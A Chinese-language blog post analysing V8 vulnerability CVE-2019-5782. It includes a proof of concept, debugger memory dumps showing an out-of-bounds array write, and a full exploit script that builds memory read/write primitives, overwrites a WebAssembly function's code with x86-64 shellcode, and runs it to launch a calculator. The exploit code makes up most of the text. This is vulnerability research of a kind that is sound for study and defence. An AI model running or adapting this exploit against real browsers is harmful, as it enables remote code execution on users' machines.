V8引擎CVE-2019-5782漏洞分析

Posted by GToad on September 1, 2019

本文为本博客V8系列第五篇。

漏洞基本信息

漏洞信息页面

漏洞修复代码

根据漏洞基本信息可准备分析环境,先切换至漏洞修复前版本。

git checkout 568979f4d891bafec875fab20f608ff9392f4f29
gclient sync

对源码进行编译。

tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8

PoC

以下POC代码执行后,a2数组的长度会被改变。

// Flags: --allow-natives-syntax
function fun(arg) {
  let x = arguments.length;
  a1 = new Array(0x10);
  a1[0] = 1.1;
  a2 = new Array(0x10);
  a2[0] = 1.1;
  a1[(x >> 16) * 21] = 1.39064994160909e-309;  // 0xffff00000000
  a1[(x >> 16) * 41] = 8.91238232205e-313;  // 0x2a00000000
}
var a1, a2;
var a3 = [1.1,2.2];
print("GT1");


a3.length = 0x11000;
a3.fill(3.3);
var a4 = [1.1];

print("GT2");

for (let i = 0; i < 10000; i++) fun(...a4);
// %OptimizeFunctionOnNextCall(fun);

print("GT3");



fun(...a3);

print("GT4");

for (i = 0; i < a2.length; i++){
    console.log(a2[i]);
}

print("GT5");

console.log(a2.length);

print("GT6");

从执行结果可以看出,我们POC中并没有对数组a2 = new Array(0x10)进行任何长度的改变,它应该自始至终长度都是16,但是在最后的输出中却发现它变成了一个长度为42的数组,能够把除了自己16个元素以外的数据进行输出!输出的数据里自然是包含了自己内存下方其它对象的内存数据。而且还可以更改!

漏洞成因

在执行fun(...a3)之前,a2数据结构如下:

DebugPrint: 0x3e50bb26ee09: [JSArray]
 - map: 0x165cb6882f29 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x301591f10e09 <JSArray[0]>
 - elements: 0x3e50bb26ed79 <FixedDoubleArray[16]> [HOLEY_DOUBLE_ELEMENTS]
 - length: 16
 - properties: 0x028b4e380c29 <FixedArray[0]> {
    #length: 0x3bb5c03801a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x3e50bb26ed79 <FixedDoubleArray[16]> {
           0: 1.1
        1-15: <the_hole>
 }
0x165cb6882f29: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 32
 - inobject properties: 0
 - elements kind: HOLEY_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x165cb6882ed9 <Map(PACKED_DOUBLE_ELEMENTS)>
 - prototype_validity cell: 0x3bb5c0380609 <Cell value= 1>
 - instance descriptors #1: 0x301591f11821 <DescriptorArray[5]>
 - layout descriptor: (nil)
 - transitions #1: 0x301591f117c1 <TransitionArray[4]>Transition array #1:
     0x028b4e384b81 <Symbol: (elements_transition_symbol)>: (transition to PACKED_ELEMENTS) -> 0x165cb6882f79 <Map(PACKED_ELEMENTS)>

 - prototype: 0x301591f10e09 <JSArray[0]>
 - constructor: 0x301591f10bc9 <JSFunction Array (sfi = 0x3bb5c038d379)>
 - dependent code: 0x028b4e3802c9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

执行以后,a2数据结构如下:

DebugPrint: 0x3e50bb27f1e9: [JSArray]
 - map: 0x165cb6882f29 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x301591f10e09 <JSArray[0]>
 - elements: 0x3e50bb27f159 <FixedDoubleArray[65535]> [HOLEY_DOUBLE_ELEMENTS]
 - length: 42
 - properties: 0x028b4e380c29 <FixedArray[0]> {
    #length: 0x3bb5c03801a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x3e50bb27f159 <FixedDoubleArray[65535]> {
           0: 1.1
        1-15: <the_hole>
          16: 1.21478e-310
          17: 1.38207e-311
          18: 3.38516e-310

Thread 1 "d8" received signal SIGSEGV, Segmentation fault.

可以看出,就是fun(...a3)导致的a2.length变化,不过此处%DebugPrint(a2)产生了报错,那么看一下前后的具体数据情况,执行前:

pwndbg> x/30gx 0x1c9210deebf0
0x1c9210deebf0:	0x00003d35a7a81461	0x0000001000000000 --> a2.element.length
0x1c9210deec00:	0x3ff199999999999a	0xfff7fffffff7ffff
0x1c9210deec10:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x1c9210deec20:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x1c9210deec30:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x1c9210deec40:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x1c9210deec50:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x1c9210deec60:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x1c9210deec70:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x1c9210deec80:	0x000001a1cc382f29	0x00003d35a7a80c29
0x1c9210deec90:	0x00001c9210deebf1	0x0000001000000000 --> a2.length
0x1c9210deeca0:	0xdeadbeedbeadbeef	0xdeadbeedbeadbeef
0x1c9210deecb0:	0xdeadbeedbeadbeef	0xdeadbeedbeadbeef
0x1c9210deecc0:	0xdeadbeedbeadbeef	0xdeadbeedbeadbeef
0x1c9210deecd0:	0xdeadbeedbeadbeef	0xdeadbeedbeadbeef

执行后:

pwndbg> x/30gx 0x1c9210dfefc8
0x1c9210dfefc8:	0x00003d35a7a81461	0x0000ffff00000000 --> a2.element.length
0x1c9210dfefd8:	0x3ff199999999999a	0xfff7fffffff7ffff
0x1c9210dfefe8:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x1c9210dfeff8:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x1c9210dff008:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x1c9210dff018:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x1c9210dff028:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x1c9210dff038:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x1c9210dff048:	0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x1c9210dff058:	0x000001a1cc382f29	0x00003d35a7a80c29
0x1c9210dff068:	0x00001c9210dfefc9	0x0000002a00000000 --> a2.length
0x1c9210dff078:	0xdeadbeedbeadbeef	0xdeadbeedbeadbeef
0x1c9210dff088:	0xdeadbeedbeadbeef	0xdeadbeedbeadbeef
0x1c9210dff098:	0xdeadbeedbeadbeef	0xdeadbeedbeadbeef
0x1c9210dff0a8:	0xdeadbeedbeadbeef	0xdeadbeedbeadbeef

可以看出,执行后的a2与自己element的长度被修改了,同时POC中把两处原本应该同时为0x0000001000000000的长度分别改成了0x0000002a000000000x0000ffff00000000,其中前者就是我们POC执行后a2被篡改的长度4。而这两个数据均来自于对fun()中对a1的操作:

  a1[(x >> 16) * 21] = 1.39064994160909e-309;  // 0xffff00000000
  a1[(x >> 16) * 41] = 8.91238232205e-313;  // 0x2a00000000

可以注意到,a2与自己element的长度之间正好相差了20个数据的距离,可能就是a1[41]a1[21]。于是进一步查看a1与a2的数据:

pwndbg> x/50gx 0x1c9210dfef18
0x1c9210dfef18:	a1.element 0x00003d35a7a81461	0x0000001000000000 a1.element.length
0x1c9210dfef28:	a1[0]      0x3ff199999999999a	0xfff7fffffff7ffff 
0x1c9210dfef38:	           0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x1c9210dfef48:	           0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x1c9210dfef58:	           0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x1c9210dfef68:	           0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x1c9210dfef78:	           0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x1c9210dfef88:	           0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x1c9210dfef98:	           0xfff7fffffff7ffff	0xfff7fffffff7ffff a1[15]
0x1c9210dfefa8:	a1         0x000001a1cc382f29	0x00003d35a7a80c29
0x1c9210dfefb8:	           0x00001c9210dfef19	0x0000001000000000 a1.length
0x1c9210dfefc8:	a2.element 0x00003d35a7a81461	0x0000ffff00000000 a2.element.length = a[21]
0x1c9210dfefd8:	           0x3ff199999999999a	0xfff7fffffff7ffff
0x1c9210dfefe8:	           0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x1c9210dfeff8:	           0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x1c9210dff008:	           0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x1c9210dff018:	           0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x1c9210dff028:	           0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x1c9210dff038:	           0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x1c9210dff048:	           0xfff7fffffff7ffff	0xfff7fffffff7ffff
0x1c9210dff058:	a2         0x000001a1cc382f29	0x00003d35a7a80c29
0x1c9210dff068:	           0x00001c9210dfefc9	0x0000002a00000000 a2.length = a[41]
0x1c9210dff078:	           0xdeadbeedbeadbeef	0xdeadbeedbeadbeef
0x1c9210dff088:	           0xdeadbeedbeadbeef	0xdeadbeedbeadbeef
0x1c9210dff098:	           0xdeadbeedbeadbeef	0xdeadbeedbeadbeef

从上面的数据就可以看出,漏洞成因的确就是此时a1的越界读写。

漏洞利用

利用POC的代码就能够成功把a2(下文exp中也称为oob_double_array)变成一个很长的数组任意读写,这使得本漏洞的利用非常容易。

第一步

通过上面的excel内存分析,漏洞发生时a1除了21、41以外,还有19元素是表示a1.length的,但是a1.elements.length并没有办法修改,因为在元素的上方,这样一来a1的两个length有不一致的问题,可能引起不稳定。因此,依然选择修改下方a2和a2.elements的length为同样的一个较大的值,这样之后一直操控a2便能应对各种意外的安全检查。

第二步

那么在完成了修改后a2就变得非常大了。但是a2是oob_double_Array,存取方式都是按照double数据的规则来存取的,这样有利于修改数据但是我们还需要addrOf原语,也就是需要泄露别的类型的object对象的地址。因此,exp中又创建了object_array,其紧贴在在a2/oob_double_Array的下方。于是我们便可以用oob_double_Array的[23]来读取object_array[1]!这样一来我们只要对object_array[1]进行目标object的赋值操作就可以得到目标object的地址啦!

第三步

于是得到了最后shellcode执行函数f()对象的地址!

那么,接下来就只要做两件事情:

  1. 老套路,创建一个arraybuffer来想办法修改它的backing store进行全局任意读写
  2. 顺着f()函数对象去寻找它的汇编代码位置

第四步

先做第一件事,创建了一个oob_buffer,但是它却并没有紧贴着上面的那些对象,因此,a2和这个oob_buffer的距离不确定,不知道oob_double_Array[?????]是oob_buffer的backing store。不要紧,像第二第三步一样,把oob_buffer赋值给object_array[1],然后把oob_double_Array的[23]读出来就是oob_buffer的地址了。同理把a2自己也赋值给object_array[1],然后自己读自己的[23]也就知道自己的地址了。两个减一下,也不远,算一下offset就行了。

于是这时候a2/oob_double_Array[offset]就是oob_buffer.backingstore。想读写哪里就oob_double_Array[offset]=target_addr;oob_buffer[…]=…就好啦。

第五步

由于参考1中是在windows上的,那么需要自己写一套ubuntu上的exp。参考2中教会了我通过没有优化过的wasm函数f()对象逐渐找到部分汇编代码的方式,我们来看一下:

f() object:
	偏移0x18=shared_info:
		偏移0x8=wasm_exported_function_data:
			偏移0x10=instance:
				偏移0xC0=imported_function_targets:保存code的地址
					偏移0x0=code

于是使用backingstore读一个地址+偏移上的地址,然后改成它,接着读下一个,一直把最终code的地址读出来后backingstore改成这个,接下来便直接把shellcode往oob_buffer里写就可以了。最后执行f()即可。

PS

这里需要注意的是f()需要足够大,如果就是一个return 1的话是不够的,通过新增一些无聊的计算逻辑如a+b*c-3.14这样的表达式发现长度增加也不大,于是增加了一个puts的输出调用,发现f()的长度长了好多,可以放得下shellcode了。制作ast字节码的网页是: https://wasdk.github.io/WasmFiddle/

最终效果

当然还是弹了个计算器啦。

EXP

function d2u(num1,num2){
  d = new Uint32Array(2);
  d[0] = num1;
  d[1] = num2;
  float = new Float64Array(d.buffer);
  return float[0];
}

String.prototype.padLeft =
Number.prototype.padLeft = function(total, pad) {
  return (Array(total).join(pad || 0) + this).slice(-total);
}

// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
  if (hexstr.length % 2 == 1)
      throw new TypeError("Invalid hex string");

  var bytes = new Uint8Array(hexstr.length / 2);
  for (var i = 0; i < hexstr.length; i += 2)
      bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);

  return bytes;
}

// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
  var res = [];
  for (var i = 0; i < bytes.length; i++){
      //console.log(bytes[i].toString(16));
      res.push(('0' + bytes[i].toString(16)).substr(-2));
  }
  return res.join('');

}

function hexdump(data) {
  if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
      data = Array.from(data);

  var lines = [];
      var chunk = data.slice(i, i+16);
  for (var i = 0; i < data.length; i += 16) {
      var parts = chunk.map(hex);
      if (parts.length > 8)
          parts.splice(8, 0, ' ');
      lines.push(parts.join(' '));
  }

  return lines.join('\n');
}


// Simplified version of the similarly named python module.
var Struct = (function() {
  // Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
  var buffer      = new ArrayBuffer(8);
  var byteView    = new Uint8Array(buffer);
  var uint32View  = new Uint32Array(buffer);
  var float64View = new Float64Array(buffer);

  return {
      pack: function(type, value) {
          var view = type;        // See below
          view[0] = value;
          return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
      },

      unpack: function(type, bytes) {
          if (bytes.length !== type.BYTES_PER_ELEMENT)
              throw Error("Invalid bytearray");

          var view = type;        // See below
          byteView.set(bytes);
          return view[0];
      },

      // Available types.
      int8:    byteView,
      int32:   uint32View,
      float64: float64View
  };
})();

function Int64(v) {
  // The underlying byte array.
  var bytes = new Uint8Array(8);

  switch (typeof v) {
      case 'number':
          v = '0x' + Math.floor(v).toString(16);
      case 'string':
          if (v.startsWith('0x'))
              v = v.substr(2);
          if (v.length % 2 == 1)
              v = '0' + v;

          var bigEndian = unhexlify(v, 8);
          //console.log(bigEndian.toString());
          bytes.set(Array.from(bigEndian).reverse());
          break;
      case 'object':
          if (v instanceof Int64) {
              bytes.set(v.bytes());
          } else {
              if (v.length != 8)
                  throw TypeError("Array must have excactly 8 elements.");
              bytes.set(v);
          }
          break;
      case 'undefined':
          break;
      default:
          throw TypeError("Int64 constructor requires an argument.");
  }

  // Return a double whith the same underlying bit representation.
  this.asDouble = function() {
      // Check for NaN
      if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
          throw new RangeError("Integer can not be represented by a double");

      return Struct.unpack(Struct.float64, bytes);
  };

  // Return a javascript value with the same underlying bit representation.
  // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
  // due to double conversion constraints.
  this.asJSValue = function() {
      if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
          throw new RangeError("Integer can not be represented by a JSValue");

      // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
      this.assignSub(this, 0x1000000000000);
      var res = Struct.unpack(Struct.float64, bytes);
      this.assignAdd(this, 0x1000000000000);

      return res;
  };

  // Return the underlying bytes of this number as array.
  this.bytes = function() {
      return Array.from(bytes);
  };

  // Return the byte at the given index.
  this.byteAt = function(i) {
      return bytes[i];
  };

  // Return the value of this number as unsigned hex string.
  this.toString = function() {
      //console.log("toString");
      return '0x' + hexlify(Array.from(bytes).reverse());
  };

  // Basic arithmetic.
  // These functions assign the result of the computation to their 'this' object.

  // Decorator for Int64 instance operations. Takes care
  // of converting arguments to Int64 instances if required.
  function operation(f, nargs) {
      return function() {
          if (arguments.length != nargs)
              throw Error("Not enough arguments for function " + f.name);
          for (var i = 0; i < arguments.length; i++)
              if (!(arguments[i] instanceof Int64))
                  arguments[i] = new Int64(arguments[i]);
          return f.apply(this, arguments);
      };
  }

  // this = -n (two's complement)
  this.assignNeg = operation(function neg(n) {
      for (var i = 0; i < 8; i++)
          bytes[i] = ~n.byteAt(i);

      return this.assignAdd(this, Int64.One);
  }, 1);

  // this = a + b
  this.assignAdd = operation(function add(a, b) {
      var carry = 0;
      for (var i = 0; i < 8; i++) {
          var cur = a.byteAt(i) + b.byteAt(i) + carry;
          carry = cur > 0xff | 0;
          bytes[i] = cur;
      }
      return this;
  }, 2);

  // this = a - b
  this.assignSub = operation(function sub(a, b) {
      var carry = 0;
      for (var i = 0; i < 8; i++) {
          var cur = a.byteAt(i) - b.byteAt(i) - carry;
          carry = cur < 0 | 0;
          bytes[i] = cur;
      }
      return this;
  }, 2);

  // this = a & b
  this.assignAnd = operation(function and(a, b) {
      for (var i = 0; i < 8; i++) {
          bytes[i] = a.byteAt(i) & b.byteAt(i);
      }
      return this;
  }, 2);
}

// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
  var bytes = Struct.pack(Struct.float64, d);
  return new Int64(bytes);
};

// Return -n (two's complement)
function Neg(n) {
  return (new Int64()).assignNeg(n);
}

// Return a + b
function Add(a, b) {
  return (new Int64()).assignAdd(a, b);
}

// Return a - b
function Sub(a, b) {
  return (new Int64()).assignSub(a, b);
}

// Return a & b
function And(a, b) {
  return (new Int64()).assignAnd(a, b);
}

function hex(a) {
  if (a == undefined) return "0xUNDEFINED";
  var ret = a.toString(16);
  if (ret.substr(0,2) != "0x") return "0x"+ret;
  else return ret;
}

function lower(x) {
  // returns the lower 32bit of double x
  return parseInt(("0000000000000000" + Int64.fromDouble(x).toString()).substr(-8,8),16) | 0;
}

function upper(x) {
  // returns the upper 32bit of double x
  return parseInt(("0000000000000000" + Int64.fromDouble(x).toString()).substr(-16, 8),16) | 0;
}


function lowerint(x) {
  // returns the lower 32bit of int x
  return parseInt(("0000000000000000" + x.toString(16)).substr(-8,8),16) | 0;
}

function upperint(x) {
  // returns the upper 32bit of int x
  return parseInt(("0000000000000000" + x.toString(16)).substr(-16, 8),16) | 0;
}

function combine(a, b) {
  //a = a >>> 0;
  //b = b >>> 0;
  //console.log(a.toString());
  //console.log(b.toString());
  return parseInt(Int64.fromDouble(b).toString() + Int64.fromDouble(a).toString(), 16);
}


//padLeft用于字符串左补位

function combineint(a, b) {
  //a = a >>> 0;
  //b = b >>> 0;
  return parseInt(b.toString(16).substr(-8,8) + (a.toString(16)).padLeft(8), 16);
}

function gc(){
for (var i = 0; i < 1024 * 1024 * 16; i++){
  new String();
}
}

function clear_space(){
gc();
gc();
}

function get_shell(){
  return 1+1;
}

function utf8ToString(h, p) {
  let s = "";
  for (i = p; h[i]; i++) {
    s += String.fromCharCode(h[i]);
  }
  return s;
}

//--------------------tools above---------------------------

var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,138,128,128,128,0,2,96,1,127,1,127,96,0,1,127,2,140,128,128,128,0,1,3,101,110,118,4,112,117,116,115,0,0,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,150,128,128,128,0,2,6,109,101,109,111,114,121,2,0,9,71,84,111,97,100,76,117,99,107,0,1,10,146,128,128,128,0,1,140,128,128,128,0,0,65,16,16,0,26,65,137,221,203,1,11,11,160,128,128,128,0,1,0,65,16,11,26,87,101,98,65,115,115,101,109,98,108,121,32,109,111,100,117,108,101,32,108,111,97,100,101,100,0
]);
var wasmImports = {
  env: {
    puts: function puts (index) {
      console.log(utf8ToString(h, index));
    }
  }
};
let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
let h = new Uint8Array(m.exports.memory.buffer);
let f = m.exports.GToadLuck;

f();

var leak = f;

function fun(arg) {
  let x = arguments.length;
  a1 = new Array(0x10);
  a1[0] = 1.1;
  oob_double_Array = new Array(0x10);
  oob_double_Array[0] = 1.1;
  object_Array = new Array(0x10);
  object_Array[0] = {};
  object_Array[1] = leak;
  x = x >> 16
  a1[x*19] = 2.60750842793813e-310;
  a1[x*21] = 2.60750842793813e-310;
  a1[x*41] = 2.60750842793813e-310;
}

var a1, oob_double_Array, object_Array,oob_buffer;
var a3 = [1.1, 2.2];
a3.length = 0x11000;
a3.fill(3.3);
var a4 = [1.1];
for(let i = 0; i < 10000; i++) fun(...a4);

console.log("GT1");
%DebugPrint(leak); // debug 0x325565da4511 0x325565da44d9
%DebugPrint(fun);
%SystemBreak();

fun(...a3);

console.log("GT2");
%DebugPrint(a1);
%DebugPrint(oob_double_Array); // debug 0x2a46939e779
%DebugPrint(object_Array);
f();
%SystemBreak();

function user_space_read(leak){
  object_Array[1] = leak;
  return oob_double_Array[23];
}

function writePtr(offset, address, value){
  oob_double_Array[offset] = address;
  fake_dv = new Float64Array(oob_buffer);
  fake_dv[0] = value;
}

function readPtr(offset, address){
  oob_double_Array[offset] = address;
  fake_dv = new Float64Array(oob_buffer);
  return fake_dv[0];
}

function_addr = oob_double_Array[23];
//console.log("[+] the f() function addr is at " + Int64.fromDouble(function_addr).toString());
oob_buffer = new ArrayBuffer(0x1000);

console.log("GT3");
%DebugPrint(oob_buffer); // debug 0x2a46939e891
f();
%SystemBreak();

oob_buffer_addr = user_space_read(oob_buffer);
//console.log("[+] ob_buffer addr is at " + Int64.fromDouble(oob_buffer_addr).toString());

oob_array_addr = user_space_read(oob_double_Array);
//console.log("[+] oob_double_Array addr is at " + Int64.fromDouble(oob_array_addr).toString());
temp1 = Int64.fromDouble(oob_buffer_addr + new Int64(0x1f).asDouble() - oob_array_addr + new Int64(0x81).asDouble());
offset = lowerint(temp1) / 8;
console.log(offset.toString());

console.log("GT4");
f();
%SystemBreak();

shared_info = readPtr(offset, function_addr + new Int64(0x17).asDouble());
console.log("[+] shared_info is at " + Int64.fromDouble(shared_info).toString());

wasm_exported_function_data = readPtr(offset, shared_info + new Int64(0x7).asDouble());
console.log("[+] wasm_exported_function_data is at " + Int64.fromDouble(wasm_exported_function_data).toString());

instance = readPtr(offset, wasm_exported_function_data + new Int64(0xf).asDouble());
console.log("[+] instance is at " + Int64.fromDouble(instance).toString());
//----------imported_function_targets is not double---------------
oob_double_Array[offset] = instance + new Int64(0xbf).asDouble(); //backing store
var ift_buffer = new Uint32Array(oob_buffer);
imported_function_targets = d2u(ift_buffer[0],ift_buffer[1]);
console.log(ift_buffer[0]);
console.log(ift_buffer[1]);

//imported_function_targets = readPtr(offset, instance + new Int64(0xc7).asDouble());
console.log("[+] imported_function_targets is at " + Int64.fromDouble(imported_function_targets).toString());

code_addr = readPtr(offset, imported_function_targets);
console.log("[+] code_addr is at " + Int64.fromDouble(code_addr).toString());

console.log("GT5");
console.log("[+] the f() code addr is at " + Int64.fromDouble(code_addr).toString());
f();
%SystemBreak();

oob_double_Array[offset] = code_addr; //backing store

var shellcode = new Uint32Array(oob_buffer);
shellcode[0] = 0x90909090;
shellcode[1] = 0x90909090;
shellcode[2] = 0x782fb848;
shellcode[3] = 0x636c6163;
shellcode[4] = 0x48500000;
shellcode[5] = 0x73752fb8;
shellcode[6] = 0x69622f72;
shellcode[7] = 0x8948506e;
shellcode[8] = 0xc03148e7;
shellcode[9] = 0x89485750;
shellcode[10] = 0xd23148e6;
shellcode[11] = 0x3ac0c748;
shellcode[12] = 0x50000030;
shellcode[13] = 0x4944b848;
shellcode[14] = 0x414c5053;
shellcode[15] = 0x48503d59;
shellcode[16] = 0x3148e289;
shellcode[17] = 0x485250c0;
shellcode[18] = 0xc748e289;
shellcode[19] = 0x00003bc0;
shellcode[20] = 0x050f00;

console.log("GT6");
%DebugPrint(f);
%SystemBreak();

f();